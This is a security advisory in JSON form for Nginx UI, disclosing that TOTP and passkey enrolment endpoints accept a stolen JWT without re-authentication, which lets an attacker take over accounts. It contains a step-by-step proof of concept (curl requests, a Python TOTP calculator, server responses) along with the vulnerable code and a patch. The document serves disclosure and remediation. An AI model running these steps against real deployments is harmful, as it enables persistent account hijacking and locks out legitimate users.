{"id":"GHSA-gfrc-g87h-7h5w","summary":"Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover","details":"## Summary\n\nEndpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.\n\n## Details\n\n`api/user/router.go:34-39` — note the routes registered *before* the secure-session group:\n\n```go\nr.GET(\"/otp_secret\", GenerateTOTP)\nr.POST(\"/otp_enroll\", EnrollTOTP)                     // ← outside RequireSecureSession\nr.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\nr.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)  // ← outside RequireSecureSession\n\no := r.Group(\"\", middleware.RequireSecureSession())\n{\n    o.GET(\"/otp_reset\", ResetOTP)                     // reset *is* protected — inconsistent\n    ...\n}\n```\n\n`EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):\n\n```go\nif cUser.EnabledOTP() { ... abort ... }\nvar twoFA struct {\n    Secret   string `json:\"secret\"   binding:\"required\"`\n    Passcode string `json:\"passcode\" binding:\"required\"`\n}\nif !cosy.BindAndValid(c, &twoFA) { return }\nif ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }\nciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))\nu.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)\n```\n\n`FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* \"already enrolled\" guard — an attacker can register multiple passkeys to the victim.\n\n## Proof of Concept\n\n```bash\nJWT=\"\u003cvictim_jwt\u003e\"\n\n# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/otp_secret\n{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\n \"url\":\"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\"}\n\n# Step 2 — compute current 30-s TOTP code (attacker-side):\n$ python3 -c \"import base64,hmac,hashlib,struct,time\nkey=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')\nctr=int(time.time())//30\nh=hmac.new(key, struct.pack('\u003eQ',ctr), hashlib.sha1).digest()\no=h[-1]&0xF; v=(struct.unpack('\u003eI',h[o:o+4])[0]&0x7fffffff)%1000000\nprint(f'{v:06d}')\"\n954084\n\n# Step 3 — bind that secret to the victim's account:\n$ curl -i -X POST -H \"Authorization: $JWT\" -H \"Content-Type: application/json\" \\\n       -d '{\"secret\":\"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN\",\"passcode\":\"954084\"}' \\\n       http://127.0.0.1:18080/api/otp_enroll\n\nHTTP/1.1 200 OK\n{\"message\":\"ok\",\"codes\":[{\"code\":\"c77d5-50543\"},{\"code\":\"f9284-688c6\"},...],\n \"last_viewed\":1778338236}\n\n# Step 4 — confirm 2FA is now enabled on the victim's account:\n$ curl -s -H \"Authorization: $JWT\" http://127.0.0.1:18080/api/2fa_status\n{\"enabled\":true,\"otp_status\":true,\"passkey_status\":false,\n \"recovery_codes_generated\":true,\"recovery_codes_viewed\":true}\n```\n\nNow whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator.\n\nThe passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`.\n\n## Impact\n\n* Persistent account takeover surviving the victim's password reset.\n* Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.\n\n## Patches\n\n`api/user/router.go` — move enrolment routes inside the secure-session group:\n\n```diff\n-    r.POST(\"/otp_enroll\", EnrollTOTP)\n-    r.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n-    r.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n-\n     o := r.Group(\"\", middleware.RequireSecureSession())\n     {\n+        o.POST(\"/otp_enroll\", EnrollTOTP)\n+        o.GET(\"/begin_passkey_register\", BeginPasskeyRegistration)\n+        o.POST(\"/finish_passkey_register\", FinishPasskeyRegistration)\n         o.GET(\"/otp_reset\", ResetOTP)\n         ...\n     }\n```\n\nThis patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`).\n\n## Workarounds\n\nNone reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows.\n\n## Credits\n\nVishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.","aliases":["CVE-2026-84313"],"modified":"2026-10-15T20:30:11.860550791Z","published":"2026-10-15T20:11:32Z","database_specific":{"cwe_ids":["CWE-287","CWE-306"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-15T20:11:32Z","nvd_published_at":"2026-10-12T21:17:21Z"},"references":[{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84313"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"},{"type":"PACKAGE","url":"https://github.com/0xJacky/nginx-ui"},{"type":"WEB","url":"https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"}],"affected":[{"package":{"name":"Nginx-UI","ecosystem":"Go","purl":"pkg:golang/Nginx-UI"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20260703131214-23d1934099b0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-gfrc-g87h-7h5w/GHSA-gfrc-g87h-7h5w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}